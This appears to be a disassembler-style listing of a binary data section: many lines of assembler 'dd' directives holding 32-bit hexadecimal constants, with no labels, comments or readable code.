		dd 0EA232AFEh, 4660902Ch, 0A2180237h, 31324A1Fh, 108510D4h
		dd 68C701A2h, 12BD0770h, 952020A6h, 111F708Ch, 8835E818h
		dd 17278E7Ch, 0E5E86900h, 0E03DF71h, 0B58F1409h, 45B3F942h
		dd 33491820h, 4ED95FEAh, 0F1185EE3h, 164972AFh,	0D43C0043h
		dd 0C56898FEh, 2A0174B4h, 501B4DC9h, 0DFC4923Bh, 68615CF8h
		dd 1C994C8h, 3DE819A2h,	261C544Ah, 0C5520016h, 0B420695Eh
		dd 8AEFB04h, 0FCCED7DEh, 79C0DF88h, 60567Ch, 0A5C3DA6Bh
		dd 90CBCABCh, 0F70424Ch, 944AEC07h, 0A1A00108h,	0E8D477C1h
		dd 27462C6h, 9541F90h, 5011741Dh, 869DF480h, 99C0C6A8h
		dd 0C967E655h, 124B0EFh, 0D76DBCFAh, 33D0A280h,	3074A20Ch
		dd 0C80C5659h, 0A84F7B4Eh, 9148C8EBh, 1C011BC7h, 1C0E15E8h
		dd 8A001323h, 62BFC0E9h, 7119CB45h, 60640002h, 0FC482600h
		dd 645C48E6h, 59887076h, 627F90D1h, 4C2AE1CCh, 0F5EC80A0h
		dd 0A0021FFEh, 0A35ED0F4h
		dd 0AFA0C0C4h, 1861C06Bh, 504C06A5h, 74DE8E05h,	0B480B6EBh
		dd 0E492131h, 911101AAh, 9B1B50A0h, 0D67EB9FEh,	202E2A70h
		dd 4674E053h, 2DE0005Ch, 4F3A30B5h, 0CEA830ADh,	0BEF10AB9h
		dd 0F0560C00h, 0A42CDD8Eh, 64070C51h, 43B168AFh, 65547000h
		dd 8444E55Dh, 8BA49445h, 94104C4Eh, 0C20FC47h, 0A3112EE5h
		dd 0CAA90C24h, 2CECEE69h, 4D4EE401h, 1FE3E914h,	60CC3070h
		dd 3B4641CDh, 28A02A19h, 31E0C0DDh, 20981A12h, 8C15AC88h
		dd 3A1185FCh, 59889FC8h, 85900280h, 4FF9E01h, 7EC8B706h
		dd 99FC949Bh, 542447E8h, 0B1B90676h, 2134668h, 0C83C859Eh
		dd 105B31AFh, 859604h, 3AC50DE6h, 6F7CB0E1h, 0E490FC12h
		dd 4530A859h, 40375460h, 0D4716F40h, 9020E26Fh,	0D2A87D0Ah
		dd 34738098h, 0A06435C7h, 8D395F01h, 0ECC08C5Ah, 6C52060h
		dd 30E480C3h, 413C40D6h, 7ADF8E04h, 82A8D43Dh, 0CBE3C4A6h
		dd 9BA97E84h, 11AE7828h, 0B100E6B0h, 0E0E814D5h, 4C7CD3CAh
		dd 12782047h, 9456EF4h,	5004A290h, 823B6013h, 35CF2399h
		dd 4075D11h, 80E28233h,	3DA1F802h, 1482E04h, 0A4B2614Eh
		dd 0EA305BF2h, 0DA100032h, 0CD0A9EF2h, 0F65018E4h, 0D060A894h
		dd 0F7DC9AD9h, 979F000Bh, 0D179B66Eh, 40008983h, 76A4CCE6h
		dd 0C0B8A8Dh, 70F0D3EAh, 506088E8h, 0D23DA569h,	1DD801C2h
		dd 0A160CD4Dh, 0FCE8D015h, 0A3014B7Eh, 0B86594A8h, 0E42C84C0h
		dd 8C78BCh, 0AA01F499h,	0C9A8C194h, 958CB9C0h, 2547359h
		dd 1E47BE6Ch, 9484F7EBh, 859C6011h, 0BFC8233Eh,	6005811h
		dd 72F78594h, 6C0A92D4h, 0C8562AD2h, 351F6480h,	0C1523Ch
		dd 8D5F6055h, 298ADCB7h, 40794B5Ch, 4240DAF8h, 60CB14EAh
		dd 84A904Ah, 2DC66260h,	0AF3B3CB9h, 9A7E160h, 0BD00A637h
		dd 52B2CA70h, 3BB4B4Ch,	0D66CE8DDh, 0A9004F88h,	89E3E5F2h
		dd 0AF2869h, 0D6DD92B4h, 163A57B8h, 29448833h, 9985C01Ah
		dd 49530C8Eh, 0B81940E7h, 693EE0BAh, 0E0E929A3h, 5490A813h
		dd 3BD0A9h, 349BFD04h, 7DD96C9Fh, 0B0B09AB8h, 7E8987Bh
		dd 8F4BF91Ch, 90404B3Dh, 7BDA27A3h, 61253EB7h, 3177CC01h
		dd 504F2A13h, 0DE525880h, 13FE789Fh, 488EC2FFh,	9C9C678h
		dd 5B4442FCh, 365771CCh, 0CF986264h, 3C64F4h, 93844227h
		dd 0DB20A258h, 1372E03Dh, 43A919Eh, 7E00DB23h, 63D54D05h
		dd 78D3124Ah, 0CD8C4165h, 2D9EB93Eh, 0A4DC829Ch, 2EE410DDh
		dd 8C14BF44h, 9E823C04h, 10CE0DCFh, 82340300h, 6754B6B7h
		dd 0A330C403h, 0B3F3F23Ch, 0F180044Dh, 88CFCC21h, 0CA0A07B0h
		dd 0D891F410h, 53E54905h, 7C30FC53h, 4EA8Ch, 0D5E4B3ACh
		dd 6A032A3Ah, 0D6FF6C12h, 74C8348Bh, 0C82ECAC0h, 28F4E56h
		dd 749E2260h, 80B9BC6Ch, 0F318D859h, 98FF1B01h,	0AE6D40C0h
		dd 84306821h, 0F42B4C21h, 744C3C80h, 0CD003772h, 77FEA566h
		dd 0EFAF9908h, 0B0E8A180h, 0D4CFD085h, 7274A3Ch, 9B4FEAC4h
		dd 11041DE9h, 8FDF80D8h, 3977B3A9h, 0ACCCB6FCh,	8E380DFh
		dd 913A954Ch, 19806C00h, 0A4AA710Ah, 445901BBh,	4A2588F0h
		dd 0D2982863h, 7723902Eh, 0DF498304h, 1DDBD481h, 0BBEAF640h
		dd 0B8890A2h, 66B88E15h, 0AEC0C44Dh, 2CFB4A72h,	81706948h
		dd 0EB26C221h, 6358708Dh, 0D200188h, 43CFAFA2h,	0F24072C8h
		dd 0D751307Ch, 0D364380Eh, 8B9140B9h, 5218CAFAh, 3C0290AEh
		dd 2C0B2EC0h, 19F8A043h, 5409F717h, 0A1A2FCE2h,	7932C3C4h
		dd 485FB770h, 80334075h, 54EB4840h, 0A760C8CEh,	4CF4B950h
		dd 5CC90DFh, 45F33C21h,	0EC1CC077h, 705CEBC4h, 78054B18h
		dd 0A400FB61h, 24D33C11h, 0E248C172h, 3C27CF85h, 8C7CBC58h
		dd 6733200h, 5BA4B248h,	698112B8h, 314408B4h, 19A21EC0h
		dd 48024C4Ah, 0A21683E0h, 0B560A70Bh, 4848A258h, 0F4EC004Dh
		dd 0C8D07EE3h, 8CD8B82Ch, 0B1CF600h, 0DA2CF7F4h, 4064968Eh
		dd 0E993F331h, 0DCCB8405h, 0A413EC58h, 5923C03Ah, 0D8995501h
		dd 60301E2Eh, 0E06744C0h, 16FFB31Fh, 54755707h,	8776C801h
		dd 0C6015028h, 0C2CC415Fh, 1319630h, 337888h, 67439B06h
		dd 47EB147Bh, 0C541701h, 20985140h, 10C061F2h, 82093818h
		dd 652DCF9Ah, 300780E8h, 698FE082h, 14B94E71h, 78E4102Dh
		dd 90CB00F8h, 7C86DF71h, 0F901B6EEh, 3CBEC6AFh,	0C3DD99B9h
		dd 0CECECC11h, 0B1FF5C87h, 680D02DCh, 2CAC805Ch, 3E57A233h
		dd 8D00A8E6h, 0DC55EB0Eh, 0D901493Ch, 36259226h, 82DCB27h
		dd 0EA70F8B8h, 4E8FF40Bh, 0CF58104Ah, 0DE3C20FCh, 0B07BB926h
		dd 0E480E549h, 3807615Ah, 18FC9F8h, 576AABF7h, 0E798DCCFh
		dd 80786144h, 3621A07h,	0F333B0FFh, 0A487CDA0h,	7C3660E0h
		dd 0F5302DFh, 54E48115h, 40686450h, 101180D1h, 3F859D80h
		dd 9094B7C8h, 90950758h, 9B4000DEh, 4C9E48E9h, 3C2CEC6Fh
		dd 4E84D4DBh, 8CF02E15h, 684744E8h, 0B37762Fh, 443002F4h
		dd 22BE03E7h, 0E8404071h, 6DBCA1CAh, 8846F060h,	0AC1FE01Bh
		dd 0BBD096Fh, 10D9C548h, 9AE7C44Ch, 264E7938h, 3E440C27h
		dd 417BC218h, 0A101759Eh, 0D46FA382h, 6993DFF4h, 23403B15h
		dd 0C52E0079h, 1925322h, 514B4E18h, 0C073AFA9h,	0C7127B29h
		dd 84E05D28h, 0CC6FB600h, 7CDF2225h, 0B46806D4h, 39572AF3h
		dd 3F001575h, 0BFC74AE3h, 0E105125h, 0F138E51Bh, 0C13D2A44h
		dd 41730ACh, 0C0684887h, 4A18A21Fh, 0D7220A46h,	0A2178200h
		dd 0C8CBEAE6h, 1348B264h, 74A2ADCh, 0BCAF93FCh,	0B40B65B9h
		dd 0C29070FFh, 71B8D3CCh, 25E3C1Fh, 3C259D70h, 44D4CD73h
		dd 0BF50677Ah, 191E99Eh, 0CF1BCADAh, 45C2D4E4h,	4A048BE4h
		dd 7AC8048Ah, 0F6D6D7C0h, 0C453384Eh, 0B8BA1B94h, 0C144C10h
		dd 3160C8CCh, 13A3EC94h, 27C06E47h, 0A4A28EE8h,	0A871A255h
		dd 0E8D40E94h, 0C1008CD8h, 1A382769h, 0CD8703h,	0C55FABB4h
		dd 6FAF21DCh, 0D6C09B89h, 58E600C7h, 0B8DFCEFBh, 0A217EF4Bh
		dd 0F0014269h, 7D6C1350h, 8C14F020h, 3B859904h,	576297C8h
		dd 85910320h, 0FD1702DEh, 0C68CDC4Fh, 0CB76D448h, 44E07F48h
		dd 9B002044h, 5A4DF886h, 3D13DB4Fh, 8012B150h, 39C80415h
		dd 0E8CC107Bh, 0D5048C7Ch, 28F0C95h, 1A07FD80h,	13BE256Ah
		dd 5E910097h, 3332B080h, 4939716Eh, 4EF161E9h, 299C4443h
		dd 6BA80B26h, 40D4C84Bh, 0DB63F497h, 0D07A0139h, 4D451A48h
		dd 84B07296h, 0CD0130BBh, 3CD168E4h, 9CA47FCCh,	0E29C18C4h
		dd 862DB21h, 10DC427Ch,	2A4E723Fh, 265456D0h, 3C608C4Ah
		dd 96850372h, 7B465E44h, 840FB909h, 0C18B8457h,	0DF88648Eh
		dd 802765C0h, 13F00073h, 7FA7833Bh, 7527373Eh, 91F097D1h
		dd 0CFF875Bh, 0D0A77F90h, 0F8E7F6CDh, 0CEFC13E8h, 10641F4Dh
		dd 216180C9h, 4CA8F34Ah, 10C785Bh, 23A1C8A9h, 86002878h
		dd 26141ED4h, 674187Ah,	8827A21Bh, 0F900414Ah, 6C7844C2h
		dd 2F5E0D1h, 0E29AD42Ah, 80E7C785h, 4D605D44h, 0BD009E0Ah
		dd 0E83AB6F9h, 6E8CFBF2h, 0A904A054h, 356D40D2h, 8E79E5h
		dd 391D640Eh, 55C14AA0h, 91943603h, 0F6DAE32h, 0A9EC6EE9h
		dd 0D362EA20h, 55020163h, 0FC6A7020h, 9CF8D6h, 0F6DE1D9Ch
		dd 0C0082116h, 155D45E0h, 64E40858h, 0F1F900D2h, 425FA462h
		dd 799DB600h, 0FCEA5806h, 0F49612h, 1899753Ch, 785EF3CAh
		dd 0A8E0FC00h, 3A48FD5h, 0D4CD9101h, 5000F190h,	7DAF421Fh
		dd 1B2A06E6h, 91EEF4EAh
		dd 193487E0h, 0E063C128h, 6512220h, 0B8EC4F92h,	0CE0340CFh
		dd 0A8E46FC0h, 1077DAh,	965A9C28h, 40F4CDBBh, 2219B8FDh
		dd 75AE2C90h, 2CF2401Ch, 671F0DF5h, 0C20386ABh,	88587DCFh
		dd 181787E9h, 98FB1195h, 9980618Eh, 40892FC7h, 2AC5E491h
		dd 50046416h, 8400DBF0h, 9CE9CFE0h, 2885A500h, 2943C902h
		dd 0AF721D9Bh, 0F0164061h, 0A2DC96EFh, 0E422F618h, 0C0C93C31h
		dd 950D408h, 0D798CA1h,	0C503AD73h, 21181F82h, 54200791h
		dd 0C3EE675Fh, 426004F1h, 360EE538h, 6082007Ah,	0D7D14EEFh
		dd 6100A172h, 0C88C6B1Ah, 533C12h, 0AFC75888h, 0DC68D7D2h
		dd 0FA795F01h, 0EF4AE46Eh, 23CF6080h, 0C3FE1867h, 0FB01F48h
		dd 0A3F58CE7h, 0E17B74h, 0AFD82778h, 0CA263372h, 5BA5E300h
		dd 0B1A3D3C6h, 218800BCh, 33F0C8C0h, 20C1C962h,	0BB6CDEA6h
		dd 4FE96081h, 43CC3C76h, 79A63484h, 78005CF4h, 0C85AED68h
		dd 0D21332h, 2C163D20h,	43C6E8E2h, 4758D80Ch, 6F10C0A0h
		dd 8BBD5129h, 18339A3h,	0C8F81431h, 7A789DF6h, 0CB4EF203h
		dd 0A072F03Bh, 0C4512481h, 609BFE10h, 227D77DCh, 0DF3C151Eh
		dd 41CDB072h, 5631C4E1h, 0E80C042Bh, 0C0103001h, 8B9E5818h
		dd 60AA9219h, 7E09292Fh, 0F103E3C1h, 28DB43A2h,	774BE423h
		dd 8D83A583h, 0E3811100h, 0D3080AEDh, 601F1952h, 83FA08EBh
		dd 0EDE7CC21h, 0E816B86Bh, 0AC92180Bh, 3D19695Dh, 9F3259C0h
		dd 45C127h, 9D79AE87h, 0B5922CF5h, 8EE23A00h, 17E4DC70h
		dd 4E31C032h, 0B66347F6h, 490C1500h, 674D5735h,	0F8E8017Eh
		dd 7930A79Eh, 6916E023h, 0D12B9706h, 1792C4Ch, 0DF4E7351h
		dd 0F92D5FB7h, 260998AEh, 3E7B7121h, 0C601144Eh, 386DBB2Fh
		dd 0A4A0D60Ah, 0A29E90E4h, 26067CFCh, 1EAE346Fh, 91920099h
		dd 0DC7EE979h, 51C0364Ah, 5DFB522h, 0DD553F69h,	0D87EBD80h
		dd 0E82E1902h, 6D591860h, 31C5E27h, 64D1FB0Eh, 0B4D023A3h
		dd 840115C8h, 0DF34F999h, 0EDD7026Ah, 0C061C408h, 873EDDCh
		dd 8522EB46h, 0EDF72100h, 9BD310F4h, 902D1FEFh,	309EACABh
		dd 20018D81h, 0B3AFAC00h, 66E50CFAh, 514000F5h,	345C1B23h
		dd 0D00B6F4h, 892D6548h, 30752ECAh, 244128E9h, 0C203DC8Bh
		dd 8D3F82ABh, 8008FE47h, 2960F670h, 808C5EDCh, 0C3157A02h
		dd 5700567Eh, 0A005B5F8h, 60963970h, 5E28B9FEh,	0A400143Dh
		dd 5BAFE28Eh, 5059B2h, 6957873Ch, 24AC4286h, 0AA34203Eh
		dd 2613C4D8h, 0BA000E13h, 99092CE3h, 50C268F4h,	8746749Ch
		dd 53BB60Bh, 8B21038Eh,	0FC9324ADh, 71CE11B2h, 16E68319h
		dd 0CB11001Fh, 0B68B69C3h, 350E0B5Eh, 8C08CE9Eh, 652130h
		dd 78BF683Bh, 9E59F4ABh, 0E59278A1h, 16905158h,	4F318039h
		dd 0D627B6FCh, 98A10290h, 0E80E1446h, 3FD8708Ah, 0D893B501h
		dd 0CEA059E2h, 0BB4BC021h, 84415025h, 0D0C4F3Bh, 0B7234E7Dh
		dd 1020110Fh, 3A017573h, 5A86A7Ch, 0FCA09021h, 0EA802E88h
		dd 5654464Ch, 198300E5h, 282603A8h, 5E0C9C3Bh, 918A96F1h
		dd 21FE25Bh, 0DA1BFBEDh, 306A49EAh, 609CCC04h, 2304EDDDh
		dd 0F911E308h, 0EDD9CE00h, 0C6BBA0D3h, 0BE92380Ah, 2CC04C23h
		dd 14F7D3h, 0F54D5DD7h,	0AC8A9843h, 0F4FE2801h,	0C7409913h
		dd 9E230C22h, 6EDDF01h,	0F818F308h, 1F22088h, 7056EEEDh
		dd 0ECFEF423h, 79C637DDh, 298996h, 3736019h, 0B4FC741h
		dd 5BE59901h, 5A4BC3D4h, 8E63B180h, 8BD9DE1Bh, 0E442EF03h
		dd 0F2356189h, 57634001h, 0D60C1A38h, 0BC84302Eh, 0DC64606Ch
		dd 8AAB23C5h, 85001A11h, 53DDDC9Dh, 0A8020B41h,	0A5BD3A10h
		dd 3CE44874h, 7C9F5158h, 6FE52450h, 0A1A4F74Ah,	274674A0h
		dd 0AB41E000h, 0C68B6628h, 436E822h, 0B822C99Eh, 29DC8252h
		dd 18E3D02h, 9F371638h,	51704F29h, 1F2478B8h, 9E513381h
		dd 0B2B34039h, 3CF0EBBEh, 9330C101h, 72100E17h,	580B8821h
		dd 30C02488h, 814382h, 0FA15AF26h, 76E3DAD6h, 85790C91h
		dd 3070CD18h, 9288A05h,	0E0C70A7Ch, 0FCB45861h,	604BB448h
		dd 0DFE8815Eh, 0DD0F3E71h, 137A458h, 5011B813h,	813070h
		dd 75519EF7h, 0E236947Bh, 343A1724h, 0B55BAD80h, 7E4A6F1h
		dd 0F9B1560Fh, 0A1391263h, 8FE8AC82h, 7D6B0B01h, 0B0924CE4h
		dd 14010550h, 21048306h, 0C4F3A98h, 0E44E0408h,	322EA7B7h
		dd 11702725h, 4016364Eh, 212CF44h, 8B658E00h, 9964FBF6h
		dd 0B7150583h, 888D250Dh, 48C6E18h, 0ABC7DC66h,	201C629Ah
		dd 0B8DC9F87h, 0C5DDA60Bh, 0F2BC218Ch, 16C02855h, 0B18E0659h
		dd 995FBE93h, 99059104h, 38CC965Bh, 463D1E50h, 8FCC8069h
		dd 0CAAC17Bh, 4A7F010Ch, 1F8B3937h, 0C1765116h,	0EFCB6204h
		dd 329C3083h, 52D921C0h, 0A8195911h, 2C7B2Ch, 0C8E64393h
		dd 35C00403h, 2D772E0Bh, 8E38B7C1h, 0EA00EDF1h,	0C62901AFh
		dd 187298A1h, 0C3DC088Ah, 26C4BAABh, 0DC63EB40h, 627A6597h
		dd 8C4CC029h, 99B9E700h, 0FE27989Fh, 3C8C00F2h,	5748FCB8h
		dd 2924AAD7h, 0E1000C54h, 0ECA9C00Bh, 0D188993Fh, 0A71887h
		dd 1C4B6892h, 0AB912EE8h, 90004079h, 8E76A5E4h,	2CD50805h
		dd 5E98142Ah, 9C242F46h, 0F6B00064h, 3E24AB4h, 375052FEh
		dd 4F433EB8h, 0B400426h, 6C1C07B7h, 4E006C71h, 1847EE37h
		dd 0D822B734h, 1096169h, 0BC00AAE8h, 357ED921h,	40B7F726h
		dd 0AC31312Eh, 9296312Ch, 9078050h, 2853006Bh, 2062A845h
		dd 0D7078811h, 0A2B45F57h, 7488E3C5h, 0E11C8C60h, 434808EDh
		dd 4BFC6455h, 188402CAh, 9CE6B1h, 0B367FA49h, 42881305h
		dd 9DBAC809h, 4FE8A3B9h, 0BC290039h, 986A32B4h,	57003410h
		dd 64ECA2DAh, 20E8232Ah, 0E23A311Bh, 871439FFh,	0A47B190Ah
		dd 48DCE9B0h, 9A90063h,	731DE71Ah, 3B1BE1C4h, 99393315h
		dd 845025B9h, 0C2C71238h, 88B3AF19h, 8CC1CC6Ah,	43818F7h
		dd 0D6B66668h, 5E2C08h,	61E669D0h, 0AB59DD67h, 61E512F9h
		dd 2010237Ch, 0D60452AFh, 0B47F06B9h, 0C10F54B2h, 203759D9h
		dd 0E835C380h, 686FDE06h, 413616h, 9AE3CA03h, 0D32A4DF3h
		dd 17C0B58h, 6AA588AFh,	2D7BD58h, 8E5F1741h, 44809596h
		dd 6DBA3028h, 66588B00h, 9CA1435Bh, 1F7499A5h, 0C0A209C4h
		dd 9F469864h, 9EDDA02h,	0A447DB08h, 2500CF10h, 0C261F5B5h
		dd 5CA80484h, 48006CEEh, 25A8C633h, 134993D5h, 2074CB6h
		dd 0E01E68E4h, 2064D8C7h, 0B43BAC60h, 163FDA09h, 466C44C8h
		dd 69C202D9h, 3366B688h, 3A6040ACh, 1BC55E68h, 61517EA6h
		dd 0BBA134E0h, 72BA4101h, 0E9EAB433h, 5A98D852h, 839600ACh
		dd 747C8C1h, 1448CAB7h,	29EE30F3h, 42DF26h, 1DADFDA8h
		dd 2C2BBF17h, 0C215F909h, 0F60019B6h, 0A4FBB4F1h, 0D5238C7h
		dd 718C4964h, 23BC8028h, 0BB83008Ch, 0F401C09Bh, 0F709B082h
		dd 30E6E859h, 5B3BC48h,	68B5CCADh, 308C8C45h, 5015A900h
		dd 8520170h, 60A412E3h,	4A5906F7h, 9C0769ACh, 61D93F6Eh
		dd 4D08C6C0h, 80600105h, 0AB92099Bh, 58298796h,	2DC0CE50h
		dd 3426AF3h, 35CC7B44h,	710470B2h, 2DBCC7B4h, 0BB237CC3h
		dd 8528B00Ch, 0E6E43Fh,	0AD82A4B5h, 408EC7BDh, 5CCB553Ah
		dd 0E50174C5h, 0CF28F7A8h, 30808AB1h, 3D1C21ADh, 9C0F510Bh
		dd 27B72B4Bh, 23E0070Dh, 39822827h, 158CCD83h, 8B10268Ch
		dd 0E73C102h, 0E02B9A3Bh, 50B68E78h, 223AC2Dh, 0DBC70D88h
		dd 0B040E165h, 0F718EB7Ch
		dd 0B0E02852h, 8F9626F4h, 30598024h, 0A092D558h, 37A9D300h
		dd 0E4654FAFh, 2933002Dh, 0C44C1183h, 541D5E2Eh, 0C402B8Ah
		dd 0A1646DDh, 844003Fh,	20F3FC4Ah, 0E3F9C5E2h, 65841801h
		dd 5BFB873Ah, 308205Eh,	3E03F41Fh, 0A1112741h, 0FED06481h
		dd 96F00180h, 150AEE7Ch, 7F74F0C1h, 6E2A940Fh, 0CB876078h
		dd 21354BE4h, 81CC1127h, 8334597h, 8203D614h, 509B7B09h
		dd 32DFE026h, 54E0060h,	3CC567F2h, 8F001FEEh, 1210ED06h
		dd 0A455C4C9h, 5108CA34h, 25078880h, 0C1A087DCh, 6037C68Bh
		dd 45012908h, 0CE88BF0Ah, 44698306h, 4FE00443h,	10C2C962h
		dd 0C06E3C99h, 48139628h, 758D227h, 9278932Ch, 286018ACh
		dd 67896A10h, 9744FC08h, 0D02284B8h, 116B4277h,	64219475h
		dd 906CAF08h, 8102843Fh, 13427048h, 2123245Fh, 7C1282E4h
		dd 895BF210h, 97811037h, 5FA400B1h, 101AD3E4h, 7100EEBDh
		dd 0CC99633h, 12EFE816h, 0C80E6Eh, 0F479C1CBh, 1807E21Eh
		dd 92C0FC14h, 37E01F50h, 0CCA90173h, 4F08F0DDh,	0FED8EB97h
		dd 0FF3F8EDEh, 956B0080h, 1B872DC5h, 0F07A0743h, 0F071DF37h
		dd 5ABC82C2h, 0CF15DB01h, 6AC46247h, 73B5EF8h, 0EB9CFB0Dh
		dd 66BCB054h, 0F91C8BF6h, 2D0173BBh, 6F0199D5h,	1F546AF0h
		dd 40F43B41h, 258F570Ah, 3D06F017h, 0C80F0577h,	10030019h
		dd 0C947C2BEh, 0EB61FC37h, 0B8D67250h, 0D3A4F880h, 21349E08h
		dd 739689C0h, 0CBB2376h, 0E42DF2F1h, 48004519h,	9B7935D9h
		dd 0A1EEE9h, 0C8C04C3Dh, 0D65E90E4h, 0E27BF800h, 0F56EF161h
		dd 83BC3F72h, 0F3B39580h, 0AF4755D8h, 681D1275h, 0E0803C14h
		dd 5D60829Fh, 8CDE00FFh, 28AA2E81h, 1E00BA1Ch, 8BA6C0ACh
		dd 0F4F7CD0h, 29FCC5CEh, 3C980D60h, 1B002197h, 67D6F611h
		dd 8D892Ch, 3E6562E1h, 93F05977h, 0A9047618h, 1F6441h
		dd 0B79819E5h, 0D3056E45h, 59843000h, 6631F104h, 39BB005Ch
		dd 0C41EC8C3h, 7200A8B9h, 63110BB2h, 3709621h, 0F7E9C695h
		dd 2CA8AFD4h, 5100EDE3h, 90FA5B65h, 750332h, 0F8596142h
		dd 4C629F5Dh, 0F5E64A00h, 6088ADDCh, 0ECC8394Bh, 2C07FE81h
		dd 708CE4FCh, 7700412Dh, 7D4AEE2Fh, 0A8548h, 3F177616h
		dd 39A2A9DBh, 0BBE4100h, 61DE1D47h, 0AF93D63h, 0A542E200h
		dd 2B5DAE92h, 7207F17Fh, 5A87C3D2h, 7CD8F586h, 4238032Dh
		dd 76B7F3E5h, 0FBE390E8h, 1803DA0Ah, 7E149CAAh,	0D6B80EC4h
		dd 845AE050h, 60F8E225h, 7C0B008h, 0EB00345Eh, 418F63F5h
		dd 0EE9EC988h, 689B0382h, 98C6BCA1h, 0B4957F0h,	9A4DE000h
		dd 84CA3729h, 4C77F9Bh,	16582CD5h, 0F438C030h, 23CBB35h
		dd 0D3DD8042h, 1E8F44C6h, 1D7D008Eh, 6024805Ah,	6D001330h
		dd 0B0E76A88h, 19E934h,	3FA86E39h, 570D4AF3h, 40009674h
		dd 8695CB88h, 1278B285h, 12305F9h, 0C964DC74h, 0F0752077h
		dd 519A6A00h, 946570D6h, 85C7006Dh, 3412F4EEh, 320F264Bh
		dd 20066378h, 19382AE7h, 75CE0494h, 0D1BE31B8h,	0CCC79708h
		dd 0FD0060E9h, 6908F75Fh, 0EA28A9F1h, 98DB50DEh, 830900C6h
		dd 12A5E9FAh, 0D7006AA3h, 0E00A8DD4h, 0A0F95774h, 6569CA2h
		dd 58FF0943h, 6F07385Fh, 0CF1A2F6Dh, 8880BA44h,	7DFEDB62h
		dd 1DBE7B3Fh, 80E93C3Dh, 0B86E8477h, 30017221h,	534C68EEh
		dd 0C2D87A4h, 0BB32F907h, 8997E001h, 0ECB0DC1Ah, 0CE00DD7Ah
		dd 61A804BCh, 5A73DFDh,	0DE91E223h, 0D59800BAh,	83409A46h
		dd 18347B00h, 31FB5A6Eh, 447500B3h, 0D5E6621Eh,	8E00FC87h
		dd 0F8BF70F9h, 0CED21h,	0EE8BD047h, 22B73872h, 1A730100h
		dd 49C0E287h, 0A82F0425h, 80EBEA26h, 466D8B38h,	1501E400h
		dd 4A589739h, 3D05703Fh, 0DF0CFAC6h, 6002B68Ch,	39802F00h
		dd 0C1C3E638h, 0AF6D021Fh, 97A1C573h, 0FA544460h, 3800955Eh
		dd 274C74F6h, 80A8A38Ah, 50E4E51Ch, 0EF8CD0h, 5CB9AA8Eh
		dd 52646C1Dh, 0E71AB70Eh, 277100ABh, 5D9C25h, 6D23D6DDh
		dd 3C5BE6CFh, 0BE73CA05h, 9001FF08h, 0E8EE6945h, 243B5AD4h
		dd 1201993h, 0C2F70E7Bh, 41A4E4E3h, 0DB6E3A00h,	484999E4h
		dd 29FE6028h, 92246966h, 52BBE604h, 0ACC0D33Fh,	701CFD36h
		dd 0BDE70C77h, 76190154h, 80D6131Dh, 0F273AE40h, 3E06AFh
		dd 1EA36775h, 9A20D1C8h, 0C5BD562Ch, 7A475200h,	9019CAAEh
		dd 5589028Ch, 0F368EF25h, 0B02304C0h, 5F5D6700h, 63C5C07h
		dd 50CD00C6h, 0C3E02B16h, 7900606Ah, 0E65DFC58h, 112DE09h
		dd 93DFC84Fh, 20172F18h, 25015CC4h, 0D5D00411h,	9340DC35h
		dd 9376594h, 7CCA498h, 6A784A80h, 0E700A6E3h, 0D35E3833h
		dd 85C316h, 1CDC45B5h, 3E0DA04Dh, 7D77C100h, 9580FC23h
		dd 0EDB1004Fh, 53EE0E70h, 0F509C739h, 809E38DEh, 3B81F3E0h
		dd 0CF01000Fh, 67559034h, 0A8003CDAh, 847D5D4Dh, 3098CAAFh
		dd 28309C8Dh, 0B90F96FBh, 606DA078h, 790B50C4h,	0DC74E4h
		dd 70932D57h, 36DB1C44h, 0EBCA1801h, 6EAF6BD3h,	0D89D8453h
		dd 93AC71h, 0D83F57E9h,	64D7944Eh, 0BF2C8B00h, 0D60A729Ah
		dd 0D5D78C4h, 23B31791h, 8EB8E4C8h, 0BB9A718h, 1D52FC20h
		dd 0C8C1B36h, 7D92040Dh, 21E25F03h, 981678A8h, 6EEA36h
		dd 4BF6E526h, 0D9A78832h, 0FC21C400h, 0EDF1C0ADh, 1F8BF402h
		dd 0C0F3DF59h, 865343BCh, 554F28E5h, 22B23000h,	38D9420h
		dd 0AF8A4271h, 0E388212Dh, 0FC037866h, 1E5FF805h, 524FA03Eh
		dd 85A80012h, 25C8B26Eh, 45041151h, 0E2B06CABh,	0ACCF81AEh
		dd 677070EFh, 0D415B32Ch, 1C809214h, 0BE402AB0h, 0B6793C64h
		dd 38FE0025h, 5EDAE276h, 0AC001BA2h, 0D8E82A20h, 0C0D15C7Eh
		dd 76C57FCh, 880235F9h,	91E6FAEBh, 8810438Ch, 908741EEh
		dd 0AA240094h, 0DACFC862h, 0C948E570h, 0BF7A0050h, 4E9C7E46h
		dd 338D00F9h, 0E2384CEAh, 680761FFh, 1967D0E5h,	0EFC2607Fh
		dd 9A37F4h, 732C1D77h, 0BEE609D6h, 0E5C12F26h, 42C3891Fh
		dd 0C86F8B88h, 6F4E12Dh, 0CC0524A4h, 43F4703Fh,	471F4100h
		dd 7E753906h, 0F0F777Ah, 8636B3B5h, 5A007F49h, 41CDBD73h
		dd 0D4900806h, 0BF0498Ch, 0F6474274h, 0F2DC2182h, 0DFFE4860h
		dd 3AD7F003h, 3B7DE8h, 0E1EB1840h, 962251FBh, 0A2DBF200h
		dd 0B242533Ah, 72DC0046h, 56D9D1Fh, 0F100B554h,	0B7E283BBh
		dd 61732935h, 151F864h,	0DD086078h, 0E2A9DF07h,	3F16BEh
		dd 80ACC4E1h, 0FDF200F5h, 5C8C74C9h, 55FCD75Dh,	8EBBC8A0h
		dd 1FFE011Ch, 0EC1AB0CAh, 5617BF80h, 73022A7h, 0FBE1E66h
		dd 5D470C9h, 0A605901Ah, 478F3F59h, 5A77D800h, 0A38537h
		dd 0F097C9CCh, 0AF6E9883h, 87B04C00h, 1F51EC22h, 8801F58h
		dd 716B4050h, 0D8CFAE06h, 4D37D600h, 0E0EEC109h, 0D1073E3Ah
		dd 6706C481h, 0D8BA891Ch, 3260803Ch, 0B2197FB0h, 1F8F0F2h
		dd 0ED2DA733h, 20AB29F6h, 0A2004288h, 85633A40h, 26098139h
		dd 2C543446h, 0D71000Ch, 32F53147h, 22D7CA00h, 0CEE2D168h
		dd 21573A7Ah, 6072E880h, 7F04FD4Ah, 0A20028E0h,	79E6F69Ch
		dd 58D998E7h, 0D0000493h, 0C646CC14h, 0B5012E72h, 0B9B8F5ECh
		dd 20809FC7h, 0B189249Ch, 50006B4Ah, 0E856FEE5h, 6AC5BFh
		dd 4B19B429h, 5AB99A17h, 38058207h, 0DC30F541h,	0BA55E3h
